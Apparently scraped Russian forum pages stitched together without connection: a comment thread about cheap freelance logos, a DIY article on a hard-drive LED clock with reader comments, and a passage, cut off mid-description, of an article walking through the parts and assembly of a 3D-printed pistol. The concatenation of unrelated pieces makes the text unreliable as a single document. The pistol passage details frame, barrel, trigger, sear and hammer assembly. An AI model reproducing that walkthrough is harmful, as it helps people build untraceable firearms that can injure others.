пожалуйста, поделитесь контактами первого дизайнера!
Proxmiff
ну вот теперь он прославиться!
Proxmiff
И мне контакты!
AHrEJI
первый действительно жжот!

Автору спасибо, как раз надо парочку логотипов сделать «за дешево» :)))
nicothin
Как мне кажется, для 150р логотипо очень даже ничего. Хотя на счет последнего не уверен.
drapox
Первый просто адский!
Это у него губная гармошка вместо рта?
Alisher
выводы — фриланс — перенаселенное болото)
lastik
кризис. в докризисные времена можно было без проблем поймать средненький заказ и без напрягов его сделать, а сейчас уже несмотря на то, что я что-то дейтсвительно умею и хочу работать — на биржах почти нереально что-то поймать. сейчас делают всё чтобы первым уже не поймать заказ, а сразу что-то показать. в таких условиях нормально работать просто не реально. ты пишешь человеку, а его заказ уже кто-то сделал. правда когда смотришь на то что заказчик принял…
JayKa
Скажите автора первого логотипа? :)
Princess
xbons
неплохо! 8)
Piom
Вот так и рождаются герои новых фотожаб. Сделаю свою, если время будет.
cry_san
Использовал на своей мульти-404-й странице
dmitryaxe
они уже давно здесь)))
bigfilin
Они были здесь всегда
Le_Roi
1й логотип с явным намеком на Китай, Корею и т.д. Можно было еще этого зверя одеть в АБАБИС.

Можно было еще провести конкурс на создание слогана — это было бы убийственно! =)

romko
На первом кабачок в каске изображали, а на втором усатого грузина.
Sabiko
нифига себе «дополнительный заработок» — 22 дня в месяц по 8 часов в день
Proxmiff
у фрилансера сутки состоят из 32-64-128 часов. что стоит ему выделить из них 8 на дополнительный заработок?
mihuil
Каждому животному — свою экологическую нишу: пока на свете будут люди, искренне считающие 3 сотни баксов в месяц хорошими деньгами, заказы по 3 доллара за лого не переведутся :)
formazon
Милочек!

Откуда Вы решили, что я расстраиваюсь? У меня, ттт, всё отлично :)

Я открою Вам страшную тайну — сайт или логотип не должен хорошо *выглядеть*, он должен хорошо *работать*, принося прибыль владельцу, которая многократно окупит тысячи и десятки тысяч долларов, потраченных на его создание. Если вы не видите разницы, то это не значит, что её нет.

И ещё. Не хочу никого расстраивать, но демперы потому и демперы, что не могут они выдержать *качественной* конкуренции. Причем здесь регионы или Индия, Интернет-то общий :)
twi
Вот эти вот умножения на количество часов и на количество дней не стоят трафика, потраченного на их написание\просмотр.
MpaK999
у меня безлимитный корпоративный трафик. такое же и рабочее время.
Obi
Правильно — примерно ничего не стоят.
Vertexodessa


dio77
Мне вот интересно, некоторые действительно считают, что логотипы 2, 3, 4 «ничего так»? Над первым ладно, еще посмеяться можно, автор молодец. Но остальные то — это кошмар, пусть даже за 150 р.
lastik
И чего все ссуца кипятком от восторга?!
Кто, кому и что доказал?
То, что фриланс забит школьниками, которые накачали с торрентов графических пакетов?
То, что фриланс забит заказчиками, готовыми платить за подобное «творчество»?
Кто кого обманывает?
Выйдете на улицу и оглянитесь вокруг — вывески, рекламные щиты, плакаты — больше похоже на пьяный бред сумасшедшего.
Это не проблема фриланса.
Valentine
Это однозначно не проблема фриланса. Достаточно включить телевизор во время какой-нибудь рекламной паузы… Иной раз думаешь, лучше бы очередной ролик на фрилансе заказали. Вышло бы как минимум креативнее…
kletka
За разработку лого, сравнимого с первым вариантом, какой-нибудь Лебедев загнул бы далеко не 150 р.
astroverse
Самый забавный первый. НО он явно клепался из клипарта, что оправдывает стоимость.
А вообще, что удивляться то? Там найдуться и те кто сделает дешевле.
Мало ли подобного творчества на просторах России?
ПРедлагаю подобное объявление, но за отзыв фрилансеру вывесить, найдется не меньше десятка желающих.
darkside
Да, сплошь и рядом. Заказчику нужен был банер на сайт (который сделали мы), я огласил цену, сказали что девочка обещала за 1000р 2 штуки… В итоге полный алес, людей с эпилептическими припадками прошу не смотреть. Даже как-то стыдно размещать на сайте, пусть даже и он сам по нынешним меркам не очень уж и крут.
jAx
Каждый получает то, за что платит :) Давно вы видели хорошие банеры за 500р?
Old_Chroft
Не говорите за всех. Нормальные заказы есть каждый день, заказы от 10000 у.е. — раз в неделю. Нужно уметь просто взять заказ при общей картине демпинга. А это возможно только если вы действительно профи во фрилансе, а не скажем в дизайне. Если хотите обсудить свой пост — пойдемте в блоги на указанный сайт, не будем тут холиварить в комментах.
rikku_grey
Холиварить как-то не хочется. (-:
В блогах на фрилансе раза по два-три в неделю аналогичные моему комменту посты появляются. Толку ноль. Все поплачутся, пожалуются да и пойдут дальше демпинговать.
web4_0
ну хоть свой аккаунт в личку киньте — познакомимся, чай на одном ресурсе обитаем
web4_0
По моему юзернейму можно найти работодательский аккаунт, а там и фрилансерский. (-: все просто.
s5656
Серьезные заказы и идут напрямую, ничего удивительного. Кому больше надо, тот и суетится — как показывает практика, начиная с некоторого уровня, спрос превышает предложение.
web4_0
Дык я ж не спорю. Сам так периодически получаю заказы. Просто становится немного обидно за коллег по цеху, которые опускаются смешных сумм, под воздействием такой вот «конкуренции». С другой стороны, раз заказчиков это устраивает, значит есть в этом и справедливость.
analytic
А мне не становится обидно. Мне больше хороших заказов достанется :)
egoholic
www.free-lance.ru/projects/?pid=183174 смотрите, есть даже те, кто купил аккаунт «про» :) 600 «деревянных» в месяц, между прочим :)
soulruins
Albert_73
Фотожаба на фотожабу? :)
dohtar
Устроим конкурс фотожаб на Хабре! :)
Albert_73
Теги ставить не умею:(
img1.liveinternet.ru/images/attach/c/0/40/611/40611291_raf.jpg
sunalex
нсорри, посты не правяться :(
Albert_73
Парсер лох, меня заминусуйте, пожалуйста, чтобы всего одна картинка осталась.
sunalex
yuretsz
Тогда уж так:

Albert_73
извините, но Вы не поняли. Подумайте, поможет.
yuretsz
Эксперимент, когда «экспериментатор» сам побыл лабораторной крысой не защитывается как удачный.

almalexa
Жалко что в таком грязном болоте приходится расти талантам.
ola
Вопрос вот в чем, если фриланс.ру так печётся о своих вольно-рабочих, и не допускает копеечные бюджеты почему нет пре-модерации?
slipa
Проблема не в копеечном бюджете, а в том, что не заказали платную услугу.
astroverse
В контексте топикстартера я понял, я говорю в общем о проблеме…
ganqqwerty
Бесплатный генератор логотипов :)
lasto4kin
Я бы первому и сам заплатил!))

А вообще обидно. Похерели хороший полезный сервис. Уже давно не занимаюсь фрилансом, но иногда захожу поглядеть. У каджого серьеного заказа с большим бюджетом собирается куча людей с «про» аккаунтами из которых «про» может быть 1 или 2. И то этот настроящий «про» ставит цену соответствующую, а остальные готовы за 20$ работать. Естественно выберут там, где дешевле.
marazm
Ну, я тоже там бывает свечусь. Кстати, порою более высокая цена за работу бывает более интересный аргумент чем низкая. Да и вообще, лучше сделать 1 заказ за 2000$ чем 100 за 20$ ;)
lasto4kin
Нормальные серьезные заказы обычно не идут на главную — нормальным заказчиком некогда разгребать предложения от демпингующих пионЭров, они обращаются адресно к тому, кому надо.
RusPutin
Не обязательно. Другое дело, что и за 200 и за 2000 можно нарваться на дятла, который только что прочитал ту же книжку PHP за 24 часа, но плюс к этому зашел пару раз на Хабр и осознал что главное в профессионализме — цену побольше загнуть.
Reanimator
Это просто мое впечатление от тех нескольких посещений за последнее время. Возможно все не так на самом деле, а мне просто не повезло :-)
RusPutin
Ну, вообще, не стоит забывать, что начинающим дизайнерам плевать на цену — важнее портфолио, которое пустое.
По сути, многим пришлось пройти через ЭТО, смешнее реакция работодателей, которые считают что банер за 10$ это норма, а логотип можно и за 5$ сделать.
Reanimator
Как видим, можно сделать и достаточно шикарный! :)
RusPutin
посещать эту тему стало интересней
sunalex
угу, всем хабром увеличили зарплату дизайнера первого лого — теперь он может смело этим гордиться. Осталось уделить внимание остальным, и, глядишь, проектов с мизерными бюджетами станет меньше. Хотя… по той же логике, возможен и обратный эффект.
RusPutin
первый лого реально крут — ведь непонятно кто, и работает на стройке, имхо, аутентично=))))
sunalex
Для логотипа за $4 результат довольно предсказуем. Интереснее было бы увидеть логотипы за $150-200.
lasto4kin
Вот пример (человек топ-1 на фри-ланс.ру в разделе логотипы)



Когда нужен был логотип, интересовался о стоимости. Его работы от 400$ были.
З.Ы. сходство в названии даже)
Tayler
План Барбаросса?
almalexa
Развлекаемся? =)))
Tayler
Кстати, увы, первый логотип, который так всем понравился, есть не что иное, как плагиат:
Здесь справа можно увидеть уменьшенный рисуночек в оригинале, с рожками
www.hameleon-club.ru/
lasto4kin
По тексту автора вообще показалось, что сиих произведения дело рук один человека, тупо в дагонку отсылавшего свои варианты, дабы ухватиться, хоть за какую, но денежку))


Когда говорят, что устройство работает «как часы», то подразумевают, что это значит очень стабильно и надежно. Все мы мечтаем, чтобы с нашими «винчестерами» ничего плохого не случалось, но они любят отказывать самым непредсказуемым образом. Один такой свой диск я переделал, так что он теперь буквально работает как часы. Идея сделать устройство посетила после посещения выставок, где видел похожие рекламные девайсы. Мозг сверлила назойливая мысль — «неужели не смогу»?




Жесткие диски разбирал не в первый раз. Сначала из интереса — а как там все устроено? Потом при уничтожении старых компьютеров — параноидальная забота о безопасности начальства требовала непременного приведения в негодность совершенно исправных (правда, устаревших) дисков. Ну и попытки сделать из двух дохлых «винтов» один тоже делались, но часто неудачно. Теперь предстояло подобрать кандидата на «реинкарнацию». Работал тогда админом, поэтому было из чего выбрать. Уже и не помню, какой диск подвергся переделке (шел 2004 год), кажется это был Fujitsu.

Диск разобрал, пластины, головки и электромагнит позиционирования снял, всю электронику выкинул. Остался голый дюралевый остов с закрепленным на нем синхронным трехфазным бесколлекторным моторчиком постоянного тока (BLDC — Brush Less Direct Current). Все ненужные ребра в дюрали вырезал дремельной фрезой.

Нашел две ферритовые чашки, намотал на глаз обмотки (число витков примерно рассчитал под требуемое выходное напряжение) в верхнюю и нижнюю чашки. Верхнюю чашку закрепил сверху на статоре, а нижнюю на роторе (на фотографии хорошо видно) — так получился вращающийся трансформатор, передающий энергию. Похожие по принципу работы трансформаторы стоят в блоке вращающихся головок видеоплейеров и видеомагнитофонов (они передают не питание, а сигнал с видеоголовок). Конечно, те трансформаторы намного качественнее моего, ферритовые чашки там точнее и зазор между ними совсем маленький. В центральное отверстие чашек поместил светодиод и фотодиод — оптопару, через которую будет передаваться код, переключающий светодиоды.



Вырезал две макетки — одну круглую — она стала ротором, другую прямоугольную, её прикрепил к днищу дюралевого каркаса диска — для главной схемы управления. На роторе смонтировал простенькую схемку — выпрямитель тока, подключенный к нижней чашке вращающегося трансформатора, и микроконтроллер, управляющий восемью SMD-светодиодами. Собрал схему управления — микроконтроллер опрашивает чип электронных часов, формирует управляющие фазы для вращения моторчика, и передает данные наверх, на схему отображения (которая вращается). Написал софт для микроконтроллеров.

Конечно, звучит все вроде просто. Но на самом деле ваялось довольно долго, несмотря на наличие внутрисхемного эмулятора микроконтроллеров. Пришлось решить довольно много проблем — перемотать трансформатор, подобрать стабилизацию тока через фазы моторчика (если ток слабый, то не получалось быстро раскручивать мотор, а если слишком сильный, то мотор перегревался и обмотки замыкали), сделать софт четко синхронный с временем (иногда говорят real time code) — чтобы не дрожало получающееся изображение и стабильно вращался мотор, и в то же время читался чип часов и обрабатывался интерфейс пользователя (энкодер и кнопка, с помощью которых работает меню установки и коррекции времени и будильника), а также информация синхронно передавалась в блок ротора. А софт для блока ротора приходилось доводить по принципу прошил/проверил/не_заработало, так как эмулятор к вращающейся макетке не подключишь. Но тем не менее решать многочисленные проблемы было интересно.



Кого интересуют скучные технические подробности проекта HddClock — добро пожаловать на страничку microsin.ru/content/view/733/44/. Там можно скачать исходники и схемы часов. Похожую конструкцию я видел на харабре — http://habrahabr.ru/blogs/gadgets/86890/.

Видео, снятое мыльницей Canon PowerShot A520. К сожалению, мыльница не дает сделать видео длиннее 30 секунд, и мои режиссерские способности не позволили показать, как работает все меню (коррекция хода часов), как часы запускаются, как работает будильник и т. д. Качество тоже не ахти (в реале часы выглядят намного лучше) — слишком маленькая частота кадров. На видео видно мерцание цифр, которого на самом деле нет — такой эффект получается из-за стробоскопического эффекта между частотой вращения и частотой кадров снятого видео. Звук тоже плохого качества — он не такой, как получился на видео. Светодиоды теперь красные, поменял после ремонта — неудачно попытался выключить будильник и попал пальцами в ротор.

UPD: по многочисленным просьбам обновил архив с фотографиями, и на сайте выложил 3 дополнительные фотографии с аннотациями (фото имеют метки с подписями — что где стоит, для чего нужно и как работает).

UPD110220: один парень с ником dccharacter тоже сделал похожие часы и выложил видео на YouTube. Поздравляю, коллега!

nooze
Хотелось бы видео :)
Несомненно, очень качественная работа. А как с шумом?
Rodman
а с шумом как в анекдоте:
за люстру подвешена рельса, которой бьют по стене и из-за стены слышится недовольный голос оглашающий ночное время)
odiszapc
Поддерживаю. Это настоящие часы Чакнориса.
HOBAA
Вот подобная штука _http://wazoo.ru/news_5664_Chasi_iz_starogo_vinchestera.html
там есть видео… и шум слышно
Fredy314
блин прикольно, цыфры кажется в воздухе висят.
Сделать чуть красивее, и накрыть прозрачным колпаком для безопасности, и можно продавать. от клиентов отбоя не будет.
Mixail
Вы несомненно правы.
Я бы с удовольствием такие часики купил, если не сильно шумят.
Fredy314
И заодно создать там вакуум для уменьшения сопротивления вращаемых частей.
Mixail
и придать форму сферы
Kastrulya
Или лошади
imwode
А сферу — поместить в вакуум. Получиться — сферический вакуум в вакууме :)
twizst
Думал продавать, но показалось слишком сложно наладить производство. Для этого сильно надо конструкцию перерабатывать.
PeterQ
Во сколько в общем обошлись компоненты девайса?
arkady
Я бы спросил, сколько суммарно времени ушло на изготовление.
Derailed
Делал неспешно, примерно год с большими перерывами.
Fredy314
Да копейки, в общем. Самое дорогое — это микроконтроллеры и ключевые транзисторы. Наверное в сумме рублей 400.
Mixail
Да, у кого дома коты — нос ему отобъет. Я сам спросонья попался.
Derailed
Зачем вы сунули нос в часы? 8)
Derailed
Жалко кота которому в нос прилетает «челнок» со светодиодами, на скорости 7200 оборотов в минуту(
bormotov
Насчет видео озадачусь. Шумит мало, постарался сбалансировать ротор. Слышно, конечно, как шелестит летящий по воздуху блок светодиодов, но не напрягает.
Derailed
Выглядит просто потрясающе!
Думаю, можно кроме часов сделать из этого что-то вроде бегущей строки.
side2k
«Бегущая строка» есть. Если энкодер (это у меня там ручка для интерфейса управления часами) повернуть, то цифры плавно движутся вправо или влево. Скорость можно регулировать.
beloks
Ну вот, буквы выводить может. Можно какой-нибудь текст прокручивать
Derailed
Да, конечно =). Там готовый знакогенератор от «Радио-86РК» зашит.
Volshebnyi
ага, можно к сети подрубить и выводить уведомления о новых событиях в используемых соц. сетях или новой почте… кто на тветтере сидит, я так понимаю, тож можно организовать в реальном времени, кто чего пишет… не знаю, есть ли в этом смысл, я сам твиттером не пользуюсь:)
Derailed
Т.е. надпись может плавно вращаться по круговой орбите?
Volshebnyi
Да, может.
Derailed
Ваша реализация офигенна. До коммерческого (во многих количествах) доведите — будите «не менее» чем многое. Так как ваша реализация текстовой строки позволяет «орбитальную» «надпись» (любую графичку в 8 [а то и более] в высоту) — оно охуенно. Желаю вам двнуться в сторону коммерческого обогащения. Множество железного удовлетворения, + множество денежного удовлетворения.
reito
Переместите в «Устройства для гиков», пусть на главной часы повисят =)
vrmzar
Я пока не знаю, как это делается.
Derailed
Идете сюда: habrahabr.ru/blogs/gadgets/, нажимаете плюс, потом в редактировании топика выбираете «В какой блог публикуем»
vrmzar
Правильней тогда в DIY
Volshebnyi
Я уже знаю, чем буду заниматься в отпуске.
Derailed
Спасибо, очень интересно.
Можно немного поподробней про принцип отображения? Второй раз смотрю на подобное и не совсем понимаю, как оно работает.
Как я понял, на блине крепится столбик из светодиодов, которые при вращении в нужный момент на доли секунд загораются светодиоды в определённом порядке, так?
Volshebnyi
вот так можно лучше рассмотреть,

а вообще пройдите по ссылке автора, там есть вся информация вплоть до исходного материала
nooze
Да, все так и есть. Светодиодики вспыхивают и гаснут на нужном месте.
catsmile
поправил, благодарю.
Creat1ve
Передача питания через трансформаторы, а сигнала через оптопару — очень круто) Просто потрясен)
А что именно передается через оптопару? То, что нужно отобразить в следующий момент времени?
И еще, каково «разрешение» такого дисплея (по горизонтали)? То есть, насколько быстро можно зажигать/гасить светодиоды?
LeeMiller
Через оптопару передается обычный последовательный асинхронный протокол UART/RS-232 на скорости 57600 бит/сек. Один байт кодирует состояние столбца светодиодов (их 8 штук, каждый соответствует одному биту), т. е. на такой скорости и с таким протоколом обмена можно гасить/зажигать светодиоды с частотой 57600 раз в секунду.

Круче было бы передавать код модуляцией питающего трансформатор переменного напряжения (т. е. без оптопары), но тогда аппаратура и/или софт существенно усложнились бы. Нужно было бы либо делать развертку изображения уже в блоке вращающегося столбца, либо применить код, синхронизированный с реальным временем. Во втором случае потребовалось бы применить микроконтроллеры помощнее, либо ставить кристаллы FPGA/PLM (программируемую логику).
Derailed
Ой, прошу прощения, описался — 57600/8 = 7200 раз в секунду.
LeeMiller
Большой потенциал. Это можно штук 100 диодов поплотнее напаять в столбик и целый монитор получится :)
Derailed
На самом деле, передавать можно через тот же трансформатор с помощью Манчестер-2 — декодирование можно выполнить на одном корпусе логики :) Не говоря уже про пол-процента производительности микроконтроллера :)
Tails
Я теперь знаю, чем займусь в ближайший отпуск. А в качестве колпака можно использовать крышку от коробки с балванками.
Derailed
А ели взять колпак от 100-дисковой коробки, то можно будет увеличить количество диодов до высоты колпака, подсоеденить всё это дело какимто загадочным образом к инету и транслировать на крутящиеся диоды погоду))
Круто было бы)) Мечты мечты))
Derailed
Не выйдет, по крайней мере с таким вот каналом данных. По прикидкам, там только 12 линий получится. 30 кадров в секунду, точек в окружности (на глаз) 150, пропускная способность — 57600 бит/секунда. считаем, получается 12,8, + ещё нужен служебный трафик. И я не уверен, что 30 кадров (оборотов) в секунду достаточно — имхо, будет мерцать. Хотя можно запоминать кадр в память чипа, и крутить его до получения следующего
Tokimime
:) плавно от деревянных флешек переходим к вот таким превосходным девайсам.
Delsian
Вот что-то похожее для тех кто хочет такое купить www.mellert.ru/catalog/suvenir/good99.htm
Krypt
Весь смак в присутсвии HDD, не то это )
jeka1202
Точно так, и что своими ручками сделано.
Krypt
Я так понимаю на таком устройстве можно потенциально сделать и анимацию какую-нибудь. Тоже неплохо бы смотрелось…
vilgeforce
Главное чтобы со временем никакая деталька не оторвалась и в глаз не отлетела, в остальном — красиво.
conturov
Несколько лет назад на sysadmins.ru запостил фотогалерею про этот девайс, и назвал её hdd is dead — long live hdd =). Жаль, фотогалереи админы оттуда убрали. Было много интересного.
kiril
Вот ещё подобное. 360° LED-телевизоры. В Харькове на вокзале «Харьков-Пассажирский» такой стоит. Правда там видимо контактная передача питания и сигнала, ибо сейчас на нём уже видны значительные помехи в изображении, хотя когда только установили картинка была чистая. В выключенном состоянии внутри огромный барабан с вертикальными рядами светодиодов.
www.dynascanusa.com/

*! не реклама! *
nsamoylov
В Москве в одном торговом центре (не помню точно, в каком) видел именно такой экран. Правда, он не очень долго простоял. Наверное, износ там трущихся частей большой (все-таки барабан тяжелый и массивный). А мои часики уже 5 лет без перерыва трудятся.
Derailed
в атриуме на курской стоял такой на 1 этаже
desecho
Да, точно, там я его и видел.
gopline
Прям тенденция за несколько дней несколько часов из хардов.
XaBoK
Уххх, отвалится микросхемка на такой скорости и прям в глаз.
Derailed
Выскажу своё субъективное мнение — тот девайс меня не впечатлил, а этот приводит в восторг. Почему? Кажется и там и тут используются диоды и примерно одинаков их принцип подсвечивания", но в девайсе от Derailed циферки висят как бы в воздухе. И второй плюс, то что выводить информацию можно не только по трафарету.
Lithium
Да, действительно, платку пришлось тщательно балансировать, чтобы уменьшить вибрацию. Пылесосом хлопья пыли периодически вычищаю (когда замечаю, что тусклее стали цифры) — примерно раз в полгода.
Derailed
Смотрится шикарно, браво. Тоже хочу себе такие часики)
Если решить проблему с шумностью, и немного проработать дизайн — отличный подарок получается.
bombardier
Не отказалась бы от подобного подарка от любимого человека :)
Здорово, когда руки из нужного места растут! Автору — респект!
Derailed
ух ты!!! отличная работа!
Pechkin1007
Кстати, смысл выражения зависит от того, ставить ли запятую ;)

Ну а по сути топика… что тут скажешь, супер :-)
rotorB
"… Собрал схему управления — микроконтроллер опрашивает чип электронных часов, формирует управляющие фазы для вращения моторчика, и передает данные наверх, на схему отображения (которая вращается). Написал софт для микроконтроллеров.

Конечно, звучит все вроде просто...."

Ирония оценена! ))) А так прикольно! Весьма эффектно!
blanabrother
Когда будете готовы приступить к выполнению коммерческих заказов — сообщите пожалуйста. Я готов приобрести десяток девайсов.
Mixail
Видео то покажете? Очень хочется взглянуть. И еще вопрос: а сколько будет стоит такая штука на заказ? Битый винт могу предоставить или включите его в стоимость
Derailed
Видео выложил (ссылка в конце статьи). Простите, что не на YouTube — пока нет аккаунта, и туда надо что-то посолиднее выложить (добавить надписи, смонтировать получше, а это я не умею).

По поводу заказов — вынужден отказать, поскольку много ручной работы, не стоящей тех денег, которые можно было бы за устройство попросить. Когда разрабатывал, то эту работу было делать интересно, поэтому часы и появились.
naublog
а вы берите по 100 баксоф с человека, с предоплатой.
Elfyskaya
Дешево, все равно. ИМХО
ekzoman
На ту же тему:
code.google.com/p/povglobe/
edelweard
Скажите пожалуйста, как вы заставили крутится мотор диска? Гугл подсказывает что тема как минимум непростая. Спасибо.
corpor
Ваш обстоятельный подход к делу заслуживает уважения. Действительно, тема сложная и интересная. По этому вопросу можно написать еще один хабратопик. Попробую ответить как можно короче и понятнее.

Вы наверное уже знаете, что ротор мотора жеского диска намагничен (это обычный сильный постоянный магнит), и его вращает вращающееся магнитное поле, которое создается чередованием напряжения на 3 фазных обмотках двигателя. Для создания такого поля в современных жестких дисках применяются две технологии:

1. Метод управления фазами мотора со слежением угла поворота ротора. Т. е. вектор магнитного поля, создаваемый обмотками, следит за положением ротора, и направлен таким образом, чтобы получить максимальное вращающее усилие. Угол поворота может быть отслежен либо с помощью датчиков Холла, либо по противо-ЭДС, возникающей в обмотках при движении полюсов ротора. Жесткие диски в подавляющем большинстве применяют именно второй способ — отслеживание противо-ЭДС, поскольку он максимально дешев в производстве (не секрет, что производители жестких дисков борются за каждую копейку). Для отслеживания противо-ЭДС применяется специальная аппаратура — 3 канала компараторов (либо АЦП), отслеживающих напряжение на обмотках относительно среднего уровня напряжения (компараторы или АЦП встроены в контроллер мотора вместе с силовыми ключами). Средний уровень — это либо напряжение на 4-ом выводе обмоток мотора, где все фазы соединены вместе (в случае соединения обмоток звездой), либо просто напряжение на резисторных делителях (когда обмотки соединены треугольником).

2. ШИМ — широтно-импульсная модуляция для создания синусоидального напряжения на фазе мотора. Позволяет с высоким КПД регулировать напряжение на обмотках и отдавать в них максимальную мощность. В контроллере мотора имеются 3 канала ШИМ — по одному для каждой фазы мотора.

Технологии 1 и 2 позволяют добиться максимальной мощности на валу, и как следствие — максимальной скорости вращения.

Для реализации вращения ротора в любительских условиях можно выбрать три варианта:

1. Применить для управления фазами штатный контроллер жесткого диска. Например, можно оставить родной контроллер вместе с его печатной платой, и просто подавать на него нужные управляющие сигналы (посмотреть по даташиту). У такого способа есть свои плюсы — можно упростить программное обеспечение блока статора (уже не нужно управлять фазами мотора), и как частный случай, совсем убрать схему статора — отсчет времени и индикацию перенести в схему вращающегося столбца. Дополнительный плюс — теперь не нужен канал передачи информации (оптопара). Минусы — может быть затруднено управление скоростью вращения ротора, а также необходим датчик положения ротора мотора. К тому же Вам может попасться интегрированный контроллер, куда помимо алгоритма BLDC (управление мотором по противо-ЭДС) встроено еще и ПО по обслущиванию интерфейса IDE или Serial-ATA, в таком случае нужно либо выкидывать контроллер (применять реализацию 2 или 3), либо искать другой жесткий диск, с контроллером попроще.

2. Реализовать весь функционал современного контроллера фаз жесткого диска (управление фазами по противо-ЭДС). Это не настолько сложно, как может показаться по описанию метода. Например, у компаний Atmel и Microchip есть апноуты с готовыми примерами кода для популярных микроконтроллеров — специально для реализации метода с противо-ЭДС. Минусы — нужно в этом коде разбираться, и делать в схеме соответствующую аппаратуру (3 канала компараторов), либо воспользоваться АЦП, встроенными в микроконтроллер. Короче, довольно сложно в реализации для любителя. Но плюсов много — можно легко получить любую скорость вращения, не нужен отдельный датчик вращения ротора.

3. Тупое синхронное управление фазами, без формирования синусоидального напряжения с помощью ШИМ. Т. е. микроконтроллер с помощью управления ключами выдает на-гора 3 меандра для 3-х фаз (фаза кажого меандра сдвинута относительно соседней фазы на 120 градусов) и формирует этим вращающееся магнитное поле. Я выбрал именно этот способ, как самый простой в реализации. Недостатки тут следующие. Во-первых, невозможно регулировать напряжение на обмотках (или ток через них). Я обошел это, применив общий для всех трех каналов регулятор напряжения на ШИМ-контроллере TL494 (см. принципиальные схемы, которые можно скачать по ссылкам х харабратопику). Во-вторых, нельзя добиться максимальной частоты вращения ротора, т. к. ротор из-за случайных возмущений легко может выйти из синхронизма, и мотор остановится. Но нам не нужна максимально возможная частота вращения — достаточно лишь следить за тем, что ротор вращается. Если ротор остановился, то выполняется процедура запуска — частота фаз плавно нарастает, пока ротор не выйдет на рабочий режим. Для определения вращения ротора я использовал специальный оптический датчик.

Прошу прощения за длинный комментарий (не городить же отдельный топик). Надеюсь, я понятно все объяснил?.. Если нужны ссылки на даташиты, аппноуты и примеры кода, иллюстрирующие принцип управления мотором, «Вы нам только шепните».
WebMonet
Ого-го, огогошеньки. Да мой подход — ничто по сравнению с Вашим.

Микрочиповский апноут я по диагонали читал, но все не верилось что нужно ТАК извертываться, с виду действительно сложно. В принципе, в п. 3 все ясно и, судя по видео, отлично работает. Страшновато за такой проект браться (сложно для меня), но я именно так предпочитаю учиться. Часы реального времени буду учиться строить по Шпаку, остальное по Вашим топикам. Спасибо огромное! В принципе понятно все, кроме темы со знакогенератором, но я думаю, что гугл элементарно поможет — все-таки свои опыты я начинал с ЛЦД, выкуроченного из принтера и сам прописывал там таблицу символов (через кодировщик в экселе), осталось только по уму научиться это делать :-)
arkady
Рад стараться. По поводу знакогенератора — тут совсем все просто. Скачайте исходники к проекту, там легко разобраться, все написано на C в основном. Если будут вопросы — можете в почту писать (см. microsin.ru -> Контакты). Дорогу осилит идущий! Удачи Вам в бизнесе и творчестве.
Derailed
Нашёл одну альтернативу, контроллер TDA5145, думаю заказать и начать потихоньку делать. Сам никогда не дружил с паяльником, но надеюсь что-нибудь получится, а то уж сильно понравилось))
Fredy314
Оо. Страшно даже подумать, с кем, на каких форумах и на какие темы Вы общаетесь. =)
M_org
Вам плохо? Или вы хотите выделится оригинальными шутками, повторяющимися из топика в топик?
Steve_32
Осциллограф! Красуется на фоне — автор гик)
imwode
Да, вот уж кто гик =) А не те, кто раз в месяц себе новый афон покупают за 20-30к.
Derailed
Мне нравится ход ваших мыслей… А еще там виден пластмассовый стакан из под пива, а также баллончик с дихлофосом. Но из этого не следует, что я люблю пиво или токсикоманю =).
imwode
Меня больше дремель с гибким валом тронул) Не менее гиковская вещь, совсем не у каждого найдешь такое.
Derailed
Светодиоды теперь красные, поменял после ремонта — неудачно попытался выключить будильник и попал пальцами в ротор.
Палец попал во вращающийся ротор, после чего светодиоды стали красными.
Звучит устрашающе. Прямо Хичкок какой-то.
DapkMapk
Крайне эффективный будильник, еще бы током бил — цены бы ему не было.
Kivin
А вот это запросто. В схеме есть реле (увидите, если скачаете схему — оно управляется ножкой 24 микроконтроллера), которое может устроить Вам сладкую жизнь. Вообще-то я не планировал бить кого-нибудь током — думал включать компьютер или музыкальный центр.
Kivin
вместо обычного светодиода — лазерный и проецировать на облака!

Есть 3д-принтер, есть чертежи. Что еще надо для того, чтобы напечатать пистолет?

Я не особенно разбираюсь в оружии, поэтому могу бессовестно лажать с описанием и названием некоторых частей. Исправления приветствуются. Так же в комментариях приветствуется срач, треш, угар, содомия, теории заговора, мнения «теперь все будут печатать пистолет и меня убьют» и «теперь я напечатаю пистолет и не буду бояться гопников в бутово».
Не приветствуются вопросы «стреляет ли он?» — я сам не пробовал и вообще, читайте дисклеймер в конце статьи.


Как выглядит ээээ… устройство — вы можете увидеть на первой фотографии. А состоит он из 16 деталей(для справки — пистолет макарова состоит из 32 деталей):

Общий вес — 162 грамма, правда он может отличаться в зависимости от заполнения деталей. Подозреваю, что заполнение надо было настроить на максимум, но я этого не сделал. Вес потраченного пластика — чуть больше из-за печати подложек и опор.
Крепления — штифтовые. В соединяющихся деталях есть совпадающие отверстия, в которые после совмещения этих деталей вставляется штифт(на фотографии с деталями — это трубочки в нижней левой части)

Девайс был напечатан на принтере UP! из компании 3DPHOME. Из-за маленькой рабочей области его пришлось печатать в 4 захода, и еще два раза печатать сломанные во время сборки детали. Общее время печати — что-то около 20 часов.

Рамка пистолета с пусковой скобой:

Отверстие для фиксирования ствола в рамке:

А вот и ствол с ответной частью, которая вставляется в рамку и фиксируется поворотом:

Вот тут отмечены два положения — зафиксировано и нет:

Рукоятка:

Крепится к рамке с помощью штифта:

Вот так:

Кстати, из-за печати в комнате, в которой то открывалось, то закрывалось окно на рамке появились пара трещин:

Как я понимаю, из-за неравномерно теплового расширения пластика. Пришлось капнуть туда ацетона и сильно сжать рамку примерно на 20 секунд — трещина склеилась.

Переходим к механизму пистолета. Спусковой крючок(то, на что нажимаем пальцем), совмещенный со спусковой тягой(связывает крючок и все остальное) и с шептало(штука для удержания крючка при взводе).

Он же, но с надетой на него возвратной пружиной(возвращает шептало и спусковой крючок на место после нажатия — нужно в основном для удобства перезарядки):

Вот выемка в рамке для одного конца спусковой тяги:

Прорезь для спускового крючка:

Вот так выглядит установленная тяга снаружи:

А так изнутри:

При нажатии на крючок возвратная пружина сжимается:

Чтобы вернуть его в первоначальное положение после отпускания, и для возможности перезарядки одним нажатием на курок.

Названия для следующей части я не нашел, но ее можно назвать рамкой ударно-спускового механизма:

Помните три дырки в рамке? Такие же три дырки и тут — так две рамки крепятся друг к другу. Но об этом позже.

Это курок и его штифт для его крепления:

Курок вставляется в рамку и крепится там штифтом:

За счет того, что в креплении используется только одним штифт, он может двигаться вот от такого положения:

До такого(и даже чуть больше):

На предыдущей фотке, кстати, изображены части боевой пружины — две улитки. Вот такие(они одинаковые):

